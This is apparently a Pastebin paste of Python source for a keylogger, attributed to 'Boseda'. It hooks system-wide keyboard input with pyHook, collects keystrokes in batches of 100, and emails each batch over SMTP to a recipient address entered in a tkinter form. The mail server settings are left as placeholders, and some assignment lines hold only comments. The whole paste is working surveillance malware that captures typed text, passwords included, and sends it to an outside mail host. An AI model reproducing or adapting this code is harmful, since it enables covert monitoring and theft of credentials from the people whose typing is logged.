Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- import pyHook, pythoncom, sys, logging, smtplib, tkinter, re, _thread, ssl, os.path
- from email.mime.multipart import MIMEMultipart
- from email.mime.text import MIMEText
- from tkinter import *
- counts = 0
- string = ""
- fields = 'Email'
- checkEmail = False
- receivers = []
- def fetch(entries,root):
- global checkEmail
- global receivers
- field = entries[0]
- text = entries[1].get()
- match = re.match('^[_a-z0-9-]+(\.[_a-z0-9-]+)*@[a-z0-9-]+(\.[a-z0-9-]+)*(\.[a-z]{2,4})$', text)
- if match == None:
- print('Bad Syntax in ' + text)
- checkEmail = False
- else:
- checkEmail = True
- receivers.append(text)
- root.destroy()
- def makeform(root, fields):
- row = Frame(root)
- lab = Label(row, width=15, text=fields, anchor='w')
- ent = Entry(row)
- row.pack(side=TOP, fill=X, padx=4, pady=5)
- lab.pack(side=LEFT)
- ent.pack(side=RIGHT, expand=YES, fill=X)
- entries =(fields, ent)
- return entries
- def quit(root):
- root.destroy()
- def onkeyboardevent(event):
- if not checkEmail:
- return False
- global counts
- global string
- global receivers
- string+=(chr(event.Ascii))
- counts+= 1
- print(counts)
- if counts == 100:
- print(string)
- #sendMail("Thread-1", receivers,string)
- _thread.start_new_thread( sendMail, ("Thread-1", receivers,string, ))
- string=""
- counts=0
- return True
- def sendMail(threadName,receivers,Message):
- host = # "enter your host provider"
- port = # "enter host port"
- sslUse = # "enter if True or False"
- from_ = # "enter email address"
- pass_ = # "enter email password"
- user = # "enter email address"
- emails = receivers
- subject = "Keylogger"
- messageText = Message
- x = 0
- for arg in sys.argv:
- if x<10:
- x = x+1
- continue
- messageText = messageText + "\r\n" + arg
- msg = MIMEText(messageText)
- msg['Subject'] = subject
- msg['From'] = from_
- if str(sslUse) == "TLS":
- #s = smtplib.SMTP_SSL('webmail.frontagelab.com'+":"+str('587'),context=contextSSL)
- s = smtplib.SMTP(host+':'+str(port),timeout=5) # object created
- s.debuglevel=0
- s.ehlo()
- s.starttls() # enable TLS
- s.ehlo()
- s.login(user,pass_)
- res = s.sendmail(from_addr=from_,to_addrs=emails,msg= msg.as_string())
- s.quit()
- elif str(sslUse) == "True":
- s = smtplib.SMTP_SSL()
- s.connect(host, port)
- s.login(user, pass_)
- res = s.sendmail(from_addr=from_, to_addrs=emails, msg=msg.as_string())
- s.quit()
- else:
- s = smtplib.SMTP(host=host)
- s.login(user=user,password=pass_)
- res = s.sendmail(from_addr=from_,to_addrs=emails,msg= msg.as_string())
- s.quit()
- print ("done")
- return True
- if __name__ == '__main__':
- root = Tk()
- ents = makeform(root, fields)
- root.bind('<Return>', (lambda event, e=ents: fetch(e,root)))
- b1 = Button(root, text='Done',command=(lambda e=ents: fetch(e,root)))
- b1.pack(side=LEFT, padx=5, pady=5)
- b2 = Button(root, text='Quit', command=root.destroy)
- b2.pack(side=LEFT, padx=5, pady=5)
- root.mainloop()
- hooks_manger = pyHook.HookManager()
- hooks_manger.KeyDown = onkeyboardevent
- hooks_manger.HookKeyboard()
- pythoncom.PumpMessages()
- input ("Press ENTER to exit")
- # By Boseda
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement